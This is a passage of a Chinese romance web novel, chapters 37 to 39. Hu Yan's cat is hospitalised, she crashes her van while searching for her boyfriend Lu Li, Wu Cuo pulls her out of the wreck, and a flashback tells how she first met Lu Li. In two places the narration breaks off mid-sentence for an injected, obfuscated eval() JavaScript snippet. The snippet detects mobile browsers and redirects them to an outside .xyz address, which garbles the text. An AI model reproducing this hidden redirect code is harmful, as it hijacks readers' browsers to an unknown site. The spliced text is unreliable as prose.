“我刚才应该起来看的。”她继续说。 吴措看着她的样子,唇角抬了抬。早知道多接一些了,虽然本来也没多少雪,树上的、房檐上落的全被这些没见过雪的南方人扒拉下来了,这些还是他从王小果那里抢来的。 “暂时还不了你零点的盛大烟花了,新年的初雪当一当平替是不是也不错?”他轻描淡写,用不太在意的眼神看着呼延的反应。 呼延怔了一瞬,如果吴措不说,她都已经忘了那个随口一说的关于烟花的不平等赌约了,没想到吴措真的放在心上了。 她这回难得没有拆台,“何止不错,简直是非常不错。” 呼延闭了闭眼睛,“甚至有种怀疑我在做梦的错觉。” 吴措用手把盆子角落里沾连的最后的雪拨出来,手指掸着珍贵的最后一簇雪洒向呼延。 凉飕飕的雪落在她脖颈上,呼延“嘶”一声缩了下脖子,瞪向吴措。 “现在还在做梦吗?” 吴措总是有本事让她感动不过两秒,呼延的白眼即将翻起来,她忽然发现了一个沉痛的真相。 “…吴措!这他妈不是你洗脚的盆吗?”呼延指着吴措盛雪的白色盆子喊,“你好恶心啊!!!” 新年的第一天,吴措被呼延从楼上追着打到了楼下。 封筝端着早饭路过看见,问八哥怎么了。 八哥:“还能怎么,周瑜打黄盖,一个愿打一个愿挨呗。” 话音未落,身后传来呼延的喊声:“你给我停下来,站桩挨打!” “我看起来像智商不高的样子吗?”吴措说。 但一米八的大长腿没一会儿被不到一米六的呼延逮住了,“砰砰”又是两拳头。 挨揍的大长腿表情倒是镇定得纹丝不动,甚至视线饶有兴味扫向自己被打过的地方。 八哥嘴里嚼着油条,幽幽道:“这初雪还有降智的功效?好可怕。” 37. 命令 距离元宵节还有三天的那个夜晚,夜宵生病了。 最开始是食欲下降,轻微呕吐腹泻,也不再霸占着秋千了,而是躺在自己的旧窝里一睡就是一整天。 十二号当天,呼延发现夜宵开始吐绿水,连夜带着夜宵去了宠物医院,很快得出诊断为胰腺炎。 “看这个样子病了有几天了,主人一点都没有知觉吗?”医生检查完责备道。 夜宵萎靡地躺在医院笼子里打着吊针,眼皮沉沉的半天才眨一下,眼角泛着水渍,原本圆滚滚的肚皮都瘪了下来。 呼延趴在窗边看着,心疼又自责,“一直在喂药,除夕的时候已经基本好了,不知道为什么会突然发病。” 医生看了眼,又要说什么,被和呼延一同赶过来的吴措打断,“夜宵的情况现在严重吗?需要多久的治疗时间。” 门外有新客进门,招待的工作人员喊了一声,医生说让人先等等,回头看着呼延两人说:“猫现在已经严重营养不良了,只能先输液供养分再谈治病的事,住院费一天算下来五百八,这个情况估计得至少两个星期,治不治?” 夜宵不是品种猫,虽然看起来在生病前被养得不错,但终究是田园猫,在很多人眼里都不值钱。 以医生的经验来看,加起来一万左右的治疗价位,田园猫比品种猫主人的弃疗率要高很多,所以他这个问题也算不上阴阳,只是出于职业习惯的提问。 很多人会在这时候犹豫,说带回去考虑一下,考虑着考虑着就没下文了。 没什么好苛责的,很多人自己活着就很难了,哪还能顾得上一只猫。 呼延一秒也没犹豫,“当然治,多少钱都治。医生,夜宵的情况康复率高吗?需要做手术吗?风险高不高?” 见呼延是真的在意猫,医生态度稍微好了点,“这个我没法给你保证,只能先尽力治,去前台缴费吧。” 医生嘱咐完,去接待下一个顾客,呼延在门口看了一眼夜宵的功夫,吴措已经付好了钱。 “好猫有好福,夜宵会没事的。”吴措回到她身边,试图拿话缓解缓解气氛。 谁知道呼延眼泪吧嗒一下就掉了下来。 “它不吃东西的时候我就应该把它送过来的,”呼延两行眼泪顺着脸颊落到下巴上,“我还以为是它听话开始降低食量了。我明明就是医生,怎么会这么蠢,如果我早点发现,夜宵不至于这样的。” 吴措的手下意识抬起想要拂去她的眼泪,抬到半空顿了顿,最终只是拍了拍她的肩膀。 “和你没关系,昨天夜宵的症状并不严重,是今天急性发作的。这几天小院忙得脚不沾地,你没注意也正常。” “严重营养不良不是一天两天的事。” “营养不良只是症状的一种表现,夜宵最大的问题是胰腺炎,这个不是你能控制的。” “可是我明明可以早点发现。” 吴措知道呼延此时已经陷入了自责的怪圈,无论他说什么都会无济于事。 吴措看着她,“到旁边休息区等吧,输液还有40分钟的时间。” 他带着呼延准备离开,走之前随意向笼子里瞥了一眼,看到夜宵的状态似乎不太对劲。 眼睛出现了明显的散瞳,并且呼吸困难,隔着窗子也能听见不正常的喘气声。 “夜宵是不是不太对?”吴措开口道。 呼延回头看,也立刻意识到了情况危机,连忙喊来医生。 医生赶过来,检查一番后,表情更难看了。 “现在这个状态没有其他办法,只能继续输液喂药,但没法保证能抢救回来。” 呼延没法接受这种说法,“那我们转院。” 医生:“胰腺炎就是放在北城,也是差不多的治法,况且别的医院也不一定会接收。” 这点呼延也明白,不管是人还是宠物,危急的病在一家开始治了,想再去另一家通常都不会接收,因为对方大概率不会愿意承担上家遗留下的风险。 而且路上奔波,更会徒增风险。 呼延坐在休息区的沙发上,开始搜索猫胰腺炎治疗方案,越看就越是担心,因为很多猫主人发出来的案例里,最终猫的结局都是死亡。 鼻子发酸,眼前模糊,眼泪止不住地往下流,呼延胡乱抹掉,继续从一个个案例里找夜宵生存的可能。 “今晚带夜宵回家吗?”吴措问。 呼延摆摆头,简单扼要,“住院。” 声音里带着浓郁的鼻音和哭腔。 “那你回家吗?” “陪着。” “好。” 陪伴无济于事,他们都知道。 但陪伴本来就不是为了起什么作用,只是因为,想陪着。 夜宵发病的时候刚好在晚饭前,他们没来得及吃饭,虽然知道呼延不会有什么胃口,吴措还是说:“我去买点吃的。” 呼延轻微幅度地点了下头。 吴措起身,走到门口前他侧身看向呼延,她微佝着身体埋头认真扫着手机上的信息,眼泪一下又一下落在手机上,又利索地抹去,吸一下鼻涕,然后继续看。 距离宠物医院百来米的地方就有一家馄饨铺,吴措过去买了两碗小馄饨让老板打包,正在等的时候,接到了宋殊的电话。 “你们在回来的路上了?夜宵怎么样了?” “还没有。”吴措说。 馄饨店老板问他要不要香菜。 吴措自己是从来不吃香菜的,但呼延爱吃,只是这会儿开口难免会打断和宋殊的对话,于是他点点头示意放就行,反正他可以把自己的那份挑出来。 “夜宵情况不太好,要住院治疗一段时间。”吴措继续说,“我和呼延今晚先在这陪着,等明天看看情况。” “没回来?”宋殊疑惑的声音从手机另一端传来,“呼延现在在哪呢?我打她电话也不接。” “她还在医院,我现在出来买点东西。” 宋殊吸了口气,“不对。”她又重复了遍,“不对。吴措,你走得远不远,现在能不能立刻回去找一下呼延?我看她的定位,像是在开车。” “定位”的说法让吴措愣了一下,宋殊怎么会有呼延的定位,她怎么会给呼延安装定位? 但来不及细问,吴措转身就朝宠物医院赶。 馄饨店老板在后面追问,“打包好了,你馄饨不要了?” “我一会儿过来拿。” 直到这时,吴措还并不知道情况已经严重到了他意想不到的程度。 他是在走进医院前就意识到情况不对的,因为停在医院门口的那辆他们开过来的面包车不见了。 …… 五分钟前,吴措刚离开没多久,呼延就接到了一通电话。 电话是陆离打来的,他的声音一如往常,但呼延一下子就听出来了不对劲,“陆离,你是不是遇到什么事情了?” 陆离的那一侧是呼啸的风声,他的声音被风吹得四散飘摇,传到呼延的耳中时变得微弱,“没事。吃饭了吗真真?” “还没。你听起来好像没什么力气,怎么了?” 对面沉默了好一阵,很漫长的时间里只有猎猎的风声,半晌后陆离说:“真真……对不起。我做不到了。” 呼延从沙发上站了起来,“对不起什么?陆离你怎么了?你在哪里?” 陆离没有回答这句话,他的声音在风中缥缈着,像是在真实和虚幻中游离,“你还记得吗?我表白的时候和你说的话。” “你是不是在那座桥上?你表白的那座桥?”呼延焦急道,“你今天不是去拍摄了吗?是不是拍摄不顺利?甲方又为难你了吗?” “我说过会一直陪着你的,可是我好像没有做到。” “……陆离,你现在是不是不开心?……陆离,陆离?” 电话那端传来忙音,呼延再拨过去,对方显示无人接听,她拿起车钥匙开车驶向那座几百公里外的桥,陆离第一次向她表白心意的地方。 “定位显示还没出市区,现在在迪安路上,一直在往北走。我现在借六婶的车往高速口赶,你看看能不能打辆车赶上。”宋殊按照呼延的定位指挥道。 宠物医院离景区很近,吴措很快打上了出租车,司机问他去哪,他想了想,说:“枥江高速。” 迪安路往北,有很多种可能性,但一种念头忽然冲击在吴措的脑海中。 呼延在找陆离。 在距离高速口还有不到五公里的时候,吴措接到了宋殊的电话。 “枥江高速的新北路高速口,呼延往这个方向去了,你离得远吗?” “不远。”吴措尽量让自己冷静下来。 车窗紧闭着,车内失修的空调声嗡嗡作响,热气却并不怎么明显,司机开了车内电台,频道里传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635862|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出带着噪声的新闻播报。 这种持续不间断的声音让吴措想起了那天,他母亲带着他逃走的那天。 母亲的表情应该是悲伤的、决绝的,但他毫不知情,他沉浸于终于要开始新生活的喜悦中,在车里捣鼓着车内的音箱和电台。 他乐此不疲地调着不同的频道,听着歌声和信号丢失的声音反复切换。 他在一个来电寻求帮助的电台节目里停留了几分钟,对方是个被家暴的女人,她叙述丈夫酗酒嗜赌,但是自己有一个两岁大的女儿,她询问主持人自己要不要和丈夫离婚。 主持人斩钉截铁告诉她首先保护好自己,其次在保证自己能够生存的基础上要尽快远离家暴的丈夫。 然而女人声音犹豫,她说可是孩子还这么小,她已经有三年没有工作了,而且丈夫平时对她很好的…… 吴措没听完女人的故事,将频道切换到了点歌节目。 他早熟地意识到女人的遭遇似乎和母亲有着异曲同工之处,但那人看起来暂时并没有逃离的力量,好在母亲成功了。 就在他调开频道半分钟后,傅惟拦停了他们的车…… “师傅,能调回刚才的频道吗?” 巧合的是,在这辆车上,频道里播放的也是类似的求助节目,只是求助人是个男性,节目也不知道是不是当年的那个。 “我还以为你们年轻人不愿意听这种节目了。”司机说着调回了原来的频道。 求助人的话接上,在说一个务工讨不到工资的事情,吴措一边听着,一边持续给呼延打电话。 对方一直在通话中,从二十分钟前到现在都是这个状态。 “不好搞,前面堵车了。”司机说,“刚才还好好的,突然就堵了。” 地图软件有堵车实时聊天群,司机点进去,翻了两下,自言自语道:“出车祸了啊,大晚上的,偏偏卡在高速入口,这下得堵个十几分钟了。” 吴措心里忽然“咯噔”了一下。 不会的。 不会是呼延。 没有这么巧合的事。 他听到自己心脏猛烈跳动的声音,呼吸开始乱了节奏,吴措的手攥住门把手,“师傅麻烦停一下,我要下车。” 下车的一瞬间,冷风钻入他的身体,吴措原地深呼吸一次,而后拔腿朝向事故地点奔去。 “……陆离,接我的电话,求求你……”呼延在侧翻的车里费力地够向滚落在车底的手机。 “不准你出事,我命令你,不准你出事……不是说好了,我的命令你都会听的么……” “对不起,对不起陆离……我不该让你辞职的,我们回到以前好不好……” “陆离……别离开我……” …… 路边间隔很远都没有路灯,在离事故地点几十米的距离里,吴措看到了那辆熟悉的灰色面包车。 一个路人似乎在打救护车电话,还有另一个路人试图打开车门。 吴措跑过去,驾驶位的门因为侧翻被堵住,路人正在从副驾驶位尝试。 前挡风玻璃碎了一半,吴措看见了躺在里面的呼延。血液从她的额头流向下巴,头发凌乱地挡住了她大半的脸,她垂着头,胳膊轻微晃动着。 “呼延!” 吴措喊了一声,里面没有任何反应。 吴措和路人一起将副驾驶的玻璃敲碎,他小心翼翼让玻璃不要飞溅进去伤到里面的呼延,自己的胳膊却被掉落的玻璃划了好几个口子。 终于打开车门后,吴措抬腿侧身钻进了倾斜着的,摇摇欲坠的车里。 “呼延,能听到我说话吗?呼延。”吴措一手托住呼延的身体,一手解开她身上的安全带。 呼延似乎刚刚听到吴措的声音,迟钝地转过脸来,“吴措……” “是我。”吴措的手摩挲过呼延流淌下来的温热的血,她的血和他的混合到一起,他低声说:“是我,吴措。” 呼延声音微弱地喊出一个名字:“陆离。” 远处响起救护车的警报声。 风声、车声、喇叭声…… 呼延失力跌到吴措的肩上,粘稠的液体弄湿了他的衬衫,吴措扶着呼延的肩膀,试图将她带出车外。 “我是吴措。”他说。 “陆离,”呼延的声音飘忽在他耳边,“救救陆离……” 呼延昏迷了过去。 38. 初见 呼延第一次去白阳市是去做医疗支援。 当然这并非源自于她什么博爱奉献之类的伟大品德,之所以不远万里跑去支援,最主要是想远离宋殊的魔爪。 呼延的人生被宋殊安排得很好,从学校到专业选择,甚至后来直接读了宋殊的研究生,进了宋殊的小组在医院实习,她二十几年的人生几乎没有离开过宋殊。 呼延完全不属于那种,觉得自己的人生被支配了,想去寻找自由人生的人。 相反她觉得宋殊支配得很好,反正她也没什么追求,抱着大腿一路畅通,做的还是救死扶伤积德的事,没什么不满足。 为什么这样还想逃呢,主要是开始进入医院正式实习后,宋殊就总拿呼延作引子来杀鸡儆猴。 那段时间,呼延就是“举个例子”里的“例子”,“更有甚者”里的“甚者”,以及“没人想去那就点名”里的“名”。 半年过后,呼延对自己刚刚建立起的救死扶伤伟大理想开始动摇。 所以在院里申报去白阳医疗支援的时候,呼延义无反顾地自愿填了自己的“名”。 但她的白阳之路走得十分不顺畅,好像从一开始就在被全世界反对似的。 起初是被暴雨延误了八个小时的航班,再然后大风刮倒大树截停了高铁,快到白阳市的时候,租的车子又抛锚了,一天的行程硬是花了两天半才到。 结果到白阳市的第一天,就被通知落脚的旅馆涉及偷猎交易被停业了。 当地负责对接联络的人又帮他们找了个新地方,一行四人拖着十几个行李箱,坐上了两辆大板车,前往住宿点。 白阳市不是个十分发达的城市,甚至可以称得上落后,不止医疗,各方面条件都很原始。 在坐上大板车时,同行的医生江江就在呼延耳朵边大呼感觉不妙,等到了目的地后,更是两眼一黑,悄悄给呼延发消息吐槽说她现在觉得连续一周的夜班也不是不能接受了。 呼延倒是一路惬意,她每天浸泡在人类浓重的二氧化碳排放和消毒水味道后,已经很少呼吸到这么新鲜的空气了。 他们赶到漠卡村的时候已经是傍晚,随着他们往漠卡村一步步走,天也在一点点变黑。 呼延坐在颠簸的大板车上望着西方,日光向群山陷落,昏黄色的云被深蓝取代,不知哪里传来一阵羊叫声,车子停了。 他们落脚的地方是一间农场,江江说从粪便的味道可以辨别出来,这里至少有五种动物。 农场主是他们医疗小队对接人的朋友,在他们还没到的时候就一直等在门口迎接,他的话里带着很浓的口音,但他把声音放得很慢,呼延可以听得懂他的大部分话。 晚上农场主和自己的妻子给他们做了一大桌全羊宴,江江吃得很开心,她说这个支援可以再多两个月。 住宿的地方简单但整洁,农场主把主卧让给了呼延和江江。 房间里的布置一目了然,呼延放行李的时候,视线被桌面上的一张相框照片吸引,里面是农场主和他的妻子,妻子坐在马背上看着镜头,农场主牵着缰绳看着自己的妻子。 “拍得真好。”呼延脱口而出感慨。 “不就是一张普通的合影吗?”江江凑过去看了一眼,又不感兴趣地收回视线。 “你不觉得这张照片里有很浓的情绪在里面吗?” 江江又看了一眼,“就是一张普通的合影啊,别看这个了,我听说农场里有一匹很可爱的小矮马,跟我一起去看看。” “好吧。”呼延也懒得和人辩论,放下照片和江江去了马棚。 马棚里有大大小小五匹马,小矮马在C位的一间,隔间面积差不多,但因为个子小,看起来比其他宽敞不少。 粗略估算来看,小矮马身长不到一米,仰着脖子使劲抬头才只能够到呼延的腰这么高。 呼延故意举高草料逗小马,小马热腾腾的鼻息向呼延的腰上喷,四只蹄子用力踏了踏地面,颇有几分生气的模样。 “这小家伙个子不小,脾气还挺大呢。”呼延调侃。 江江调侃,“这不是刚好和你一样。” “哪里一样。”呼延才不承认。 江江也去拿着草料逗小矮马,小矮马快够到草料的时候江江就抬高,小矮马低头再放下,重复两次后,小矮马冲江江重重哼了两次气,转过身不再理江江了。 江江巴巴地把草料递到嘴边,小矮马连瞧都不肯瞧一眼。 “看吧,就是和你一样。”江江把草料扔回槽里,放弃道。 呼延本来不服气自己被说和一只小矮马相似,可这匹小矮马实在有个性,好玩儿,她喜欢。 第二天他们很快进入了工作状态,支援点在镇上诊所,他们的行李箱里有大半都是从医院带来的药品和医疗消耗品,又用大板车将这些拖到了诊所。 这样的时间过了连续三天,白天去看诊,晚上回农场住宿。 第四天的时候,小队放了个假,呼延拒绝了江江去白阳市逛逛的提议,独自去了马棚去找她这几天心心念念的那匹小矮马。 她和农场主说好,想要试试骑一下小矮马,农场主告诉她小矮马是整个农场脾气最差的小马,恐怕她驯服不来。 呼延简直听不得这种说法,越是驯不得越是激起了她的驯服欲,于是和农场主约好今天过来骑小矮马。 只是农场主恰好被老婆叫去算一笔陈年旧账,呼延在马棚里和小矮马大眼瞪小眼三分钟后,最终没有按捺住自己蠢蠢欲动的心,小心翼翼打开马棚,又小心翼翼走了进去。 呼延做好了自己会被小矮马一脚踢翻在马槽里的心理准备,然而当她拿着草料讨好,给小矮马套上缰绳的时候,小矮马竟然出乎意料得配合。 “这也没传说中的那么暴脾气嘛。”呼延抚摸着小矮马的脖子,小矮马也没有反抗。 她牵着小矮马从马棚走出来,路过旁边一黑一白两匹成年马,这两匹平时乖顺的马这会儿看到呼延,反倒冲她喷了两鼻子气。 呼延后来想起来,这两匹马应该是在最后提醒她:快跑!你要完蛋啦! 呼延拉动缰绳,将小矮马带到农场后的大片草地上。 “本来以为驯你很难,昨天晚上我可是加急学了一晚上功课,没想到你这么配合啊小矮马,来我们试试——” 呼延的话只说到一半,手里的绳“嗖”地一下从她的手里脱离出去,小矮马撒欢似的朝着前面奔过去。 “我靠什么套路啊你,刚才一路上都是在装乖巧是吧!” 呼延跟着追出去。 然而两条腿终究是跑不过四条腿的,虽然小矮马在马里是小矮子,但在呼延面前仍旧占有绝对的优势。 呼延追了半天,被小矮马拉距离拉得越来越远。好在农场周围有一圈围栏圈地,小矮马只能绕着这圈围栏撒丫子跑,不至于让呼延成为丢了马的千古罪人。 呼延边喊边追,但下一秒她忽然发现有些不对劲——小矮马突然昂首撩蹄子发出一声凄厉的嘶鸣,而后开始折回,以她看不清的速度向她飞奔疾驰。 “我靠这又是什么套路啊!” 呼延也顾不得什么驯不驯马了,一个转身开始往反方向狂跑。 但小矮马蹄子却像飞起来似的,比方才跑得更快,精准定位,直冲着她的方向就过来了。 雪上加霜的是,呼延在狼狈的逃亡中不小心崴了脚,她一个大马趴跌躺在地上,拖着“残疾”的腿以0.1米每秒的速度往后退,脑海里已经开始了走马灯。 造孽啊,早知道就不来这鸟不拉屎的地方了。 加班就加班嘛,比丢了小命好吧。 呼延眼看着马蹄子在她眼前自己逼近,下意识闭上了眼,然而就在距离她只有十几公分的时候,忽然刹车扬蹄,转了个方向,马蹄几乎紧贴着她腿边踏了下去。 呼延睁开一只眼看过去,发现不知从哪忽然出现一人跳上了马背,此刻正扯住缰绳,和小矮马做着你来我往的拉扯搏斗。 小矮马的马蹄高高跃起,它感受到背后的人,绷紧了肌肉,猛地发出一声短促的嘶鸣,四蹄更加疯狂地踢踏下来。 “斑比!冷静!”马背上的人喊了声小矮马的名字,然而收效甚微,小马完全不听使唤,像一股脱缰的野风在草地上横冲直撞。 呼延离得不远,她眼看着马蹄在只有半米之遥的距离里乱飞,只能狼狈地往另一个方向爬。 但每次马蹄快要落下去的时候,马背上的人都会拽紧缰绳将其带离,但正是这个动作更加激怒了小矮马。 在被牵引着朝着反向扭过去时,小矮马猛一甩头,后腿高高蹬起,一个急转弯,马背上的人猝不及防失去了平衡,直接从鞍上摔了下来。 好在这时农场主及时赶到,一个跃身跳到马背上,几个来回拉扯才算制服了小矮马。 其实回想起来,她和陆离的第一次见面稍显狼狈,两人都各自受了大小的伤,但因为是陆离,所以呼延会给这幕回忆加上滤镜。 她再回想起来的时候,是陆离引缰策马的挺拔矫健的身姿,他的额前碎发被风扬起,有些像是从电视上看到的叼羊场面,肆意潇洒、春风得意,虽然陆离手里没有一只羊。 农场主带着小矮马回了马棚,呼延一瘸一拐朝着陆离走过去。 陆离的伤势比她要重很多,他的腿在摔下去时被马鞍划伤,肩膀可能也有一定程度的骨折,旁边的草地上还沾着一小片他的血。 呼延走过去说:“我带你去处理一下吧。” 陆离转过身,这时呼延才第一次看到他的正脸。 后来无数次想起,呼延都觉得自己其实是被陆离的这张脸迷住了。 他长了一张很漂亮的脸,眉毛不浓不淡,眼皮很薄,左眼的卧蚕底部有一粒很小的痣,下颌转角平缓,还有一对厚厚的耳垂,很有福气的样子。 总之,正中呼延的点。 陆离看着她,说:“你是镇上新来的医生?” 呼延盯着他的脸愣了很久,没回答他的话。 陆离又问了一遍,他这时很轻微地笑了一下,左眼下的那粒痣立刻藏在了卧蚕的阴翳下消失了,呼延才回神过来,点了下头。 “我带你回家,哦不是,我带你回农场处理一下,防止过多出血。”呼延说。 给陆离处理伤口的时候,农场主过来问情况,呼延才知道,陆离是农场主的朋友,休假来农场拍照,而她住的那个房间里的那张照片,就是陆离的作品。 他不是摄影师,只是过来休年假,陆离的本职工作是数据工程师,每年项目不忙的时候,他都会请一周的年假去各地摄影。 虽然并不是专业摄影师,但陆离的作品拿过国内大大小小好几项摄影奖。 “你真的很适合做摄影师,全世界都该看到你拍的照片。”呼延真心赞叹。 “谢谢。”陆离很礼貌地接受了夸奖,但没有再做进一步的表示。 后来的几天,呼延请求陆离带着她一起驯小矮马,陆离竟然答应了。 他是个很有耐心的人,耐心到调皮捣蛋、诡计多端的小矮马最后都被磨没了脾气,任由呼延骑在它的背上走了几百米都没再乱甩蹄子。 两天后,陆离的假期将要结束,晚饭后呼延叫住了陆离,问他要不要一起出去散散心。 呼延在情感上一向是十分主动的类型,在陆离之前她曾有过一个男友,是大学隔壁建筑系的学弟,也是她主动要的联系方式,主动走出的第一步。 这段感情没有什么好的结局,但呼延丝毫不质疑身为女生该不该主动这件事,喜欢就去争取,结局好坏不是最初开始的目的。 呼延约陆离去农场后的草原,他们第一次见的地方。 但陆离带她去了另一个地方,是在村镇以外,一片更大的草原。 这里完全没有灯光,这晚的星光也不明显,月亮蒙昧地遮在一片云下,呼延觉得此情此景,陆离如果不答应她的告白,她就把人制服直到他答应,反正这里没有监控也没有人影。 她完全不担心陆离会还手,虽然他的力气大到可以制服一匹失控的马。 呼延临行前喝了一大碗马奶酒,虽然她并不需要酒精来为她壮胆,只是因为这里的马奶酒太好喝了。 走到目的地后,呼延忽然停住,看着陆离,问他,“你觉得我怎么样。” 陆离并没有很惊讶,他嘴角扬起,声音一如既往的平和,他说:“很好。” “展开说说。”呼延盯着他的眼睛。 她闻到一股轻淡的酒气在他们之间缭绕,像是隔了一层烟雾,陆离的脸变得有些模糊。 “很可爱,很有主意,让人意想不到你会做什么。” 陆离回答得很认真,他就是个很认真的人,呼延相信即使她此刻询问太阳东升西落的原理,陆离也会一一为她解答。 陆离继续说:“很有爱心也很可靠,虽然总给人一种不怎么靠谱的样子,但实际上是个很负责的人。对每个人都一视同仁,对小动物也很温柔。” 呼延虽然本意是想听陆离夸她,但真听到陆离这么一本正经地一条条细数她的优点,让她多少有些不好意思了,她清了清嗓子,说:“说了这么多都没说到重点,最大的一条你没看出来吗?” 她直了直身体,扬着下巴说:“我最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654180|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的优点其实是——漂亮!” 陆离说:“我以为这么明显的事实,不需要我说出来。” 呼延这下是真的脸红了,以至于到嘴边的表白思路都卡顿了。 在她重新梳理思路的时候,陆离忽然出声打断了她:“呼延医生。” “嗯?” “风大了,我们回去吧。” 呼延这人有点一鼓作气、再而衰的做派,她猜测陆离肯定看得出来她那天是要表白,而他的打断也说明了答案。 呼延并不是个喜欢纠缠的人,她的行事准则就是,喜欢就冲,不行就撤! 可是,这次真的很不甘心。 以至于在陆离走的那天,看着面包车车门关上的瞬间,呼延的心里狠狠揪了一下。 就这样了吗? 江江看到呼延失神的样子,问她是不是也想跟着车一起回北城,毕竟天天吃羊肉也会吃腻的。呼延没理她。 车子发动,车轮即将转起来时,车门忽然打开了。 陆离从副驾驶走了下来,径直走向呼延。 这个异常的举动毫无疑问引起了一众人的起哄声。 在这片起哄声中,他递了一个信封给呼延,看着呼延的眼睛说:“下次见。”然后离开。 呼延打开信封,里面是一张照片,是她自己的照片。 她躺在农场后面的那片草原上,枕着自己的双臂,望着没有星星的天空。 呼延都不知道这张照片是陆离什么时候拍的。 是在一个夜晚,也许是在她以为的第一次正式见面前,也许是在那以后。 总之,是陆离单独为她拍下的照片,只为她。 后来他们在北城正式在一起了,一段由陆离发起的正式的表白和一大捧正式的花。 “我不是一个拥有充足爱的能力的人,所以我最开始并不确定自己能不能承担得起一场完美的恋爱。” “可在从白阳回来的几天里,我控制不住地脑海中反复出现你。后来我想,随便吧,我打算抛弃那些已有的条件可能推导出的结果,听从内心,给自己一次机会。” “呼延真,我向你承诺,我会倾尽全力去爱你,守护你,永远陪伴你。” “你可以完全地主导我、命令我,如果你不愿意,那么你也拥有最高的自由,不需要为我停留。” “你愿意给我和你在一起的机会吗?” 呼延在抱着九十九朵白色玫瑰点头的时候想,幸好那天的表白被打断了,不然就收不到这么漂亮的花了。 但事实上是,即使那时就已经在一起,后来的她也总能收到陆离的花。 每个节日,每个不是节日的见面日,每个天气晴朗的、天气不晴朗的日子。 陆离送给她各种各样的花。 他让每个平凡的日子变得不平凡。 陆离的口头禅是“好啊”、“听你的”。 他的情绪稳定到无论说什么话时的语速都不会有太大变化,遇到不讲理的人,他在情绪波动最大的时候,说的都是:我为你感到遗憾。 呼延时常在想,世界上怎么会有陆离这么好的人。 他连接吻都是轻柔的,有时她恶劣地、搞怪地去咬他的嘴唇,他不会反咬回来,只会揉着她的耳朵,嘴唇一下一下点在她的嘴唇上,捧着她的脸很温柔地和她对视,然后任由她胡作非为。 陆离唯一的缺点就是陪她的时间太短。 他总是很忙,做数据工程师的时候每天加班到凌晨,周末只有一天的空闲时间,有时甚至没有。 呼延劝他改行有一个很大的原因,陆离因为长期的熬夜加班身体出现了不好的反应,他偶尔会突然头晕,然后冲到洗手间呕吐。 会长时间失眠,即使在工作日也无法好好睡觉。记忆力开始下降,经常会忘记和她约定好的事情。 在这种情况下,呼延提出,不然你换个工作吧。 每次回忆到这里,呼延就开始释然自己并不后悔让陆离改行的事,虽然他陪她的时间依然很少,但他肉眼可见的健康了很多。 这样就足够了。 见面是没法经常见到,但他们会在每个双方能空下来的晚上打个视频,看看对方的脸。 ——呼延从昏睡中醒来时,脑海里的信息后知后觉开始拼凑。她想起那通陆离挂掉的电话,陆离最后和她说的那些话…… “陆离!” 她喊出声,周围是白茫茫的一片,她又意识到,自己是在一个陌生的环境里。 白色床单、吊瓶、手背上的留置针……她出车祸了。 那陆离呢? 呼延下一秒就要掀起被子下床,然而身体的疼痛将她束缚在原地,同时一个温暖的掌心握住了她的手背。 “真真,别动。” 呼延看到对方的脸,眼泪倏地就淌了下来。 “你没事!陆离,你没事。” 陆离扶着她的肩膀,将她安抚躺下,“嗯,我没事,我不会有事的。” 他又瘦了一些,为了提前完成工作,一定又熬了很多夜。 “我以为你——”说着呼延再次哽咽起来。 陆离轻笑了下,在呼延的床边坐下,“我这不是好好的么。” 温暖的触感仿佛来之不易,呼延贪婪地拥住陆离的胳膊,将头埋在他怀里默了一会儿,“陆离,如果你不工作,会快乐一点吗?” 陆离的手指穿过她的发丝轻轻抚着,“我现在很快乐。” 呼延的脑袋在陆离怀里蹭了蹭,“那你要一直这么快乐。” 陆离身上有一种让人十分安心的气味,呼延说不出来这种味道具体的名字,她感觉像是冬天银白狐狸毛发上沾着的那抔雪的味道,虽然她从来没闻过这种雪。 闻着熟悉的味道,呼延的眼皮开始打架,她终于再次被困意降服,躺在陆离的肩膀上闭眼吩咐。 “陆离,以后要经常这样陪着我。” “好。” “我不要很多很多钱,我有你就够了,不准把自己逼得那么辛苦。” “好。” “陆离,不准离开我,我命令你。” “……好。” 门外,原本听到动静赶过来的吴措停在门口良久,他的手扶在门把手上,透过玻璃看向里面的呼延。 她整个人蜷缩着倚靠在枕头上,两只手合并枕在两颊下方,平稳的呼吸中,她的嘴角动了一下,脑袋在手背上蹭了蹭,似乎做了个很美的梦。 “吴措。” 身后一道声音叫住他的名字,吴措回头,看到是宋殊。 “借一步说话吧。”宋殊说。 39. 自毁 雨下得很大,不知道从什么时候开始的,拼命地、争先恐后地摔在窗户上,发出剧烈的碰撞声。 深夜的医院走廊空荡,吴措跟着宋殊走到楼道口停下,脚步声仍然在走廊尽头回荡,混合着窗外的雨声。 “你明天就走吧。” 这是宋殊的第一句话。 “没事,”吴措没听出她的意思,“病床旁边有沙发,我随便躺一下就行。医生说呼延是皮外伤和轻微脑震荡,住两天观察一下,后天我带她一起回去。” 宋殊手揣进口袋里,看了眼吴措,“我是说,你离开小院吧。回北城,或者其他地方都行。” 楼道声控灯毫无由来地亮了一下,吴措抬眼,“我知道呼延生病了,我不会报道的。” “我不是这个意思。”宋殊说,“这个事瞒不住,我知道。小院待久了的都知道呼延的病,大家照顾她,顺着她来,我心里感激。” 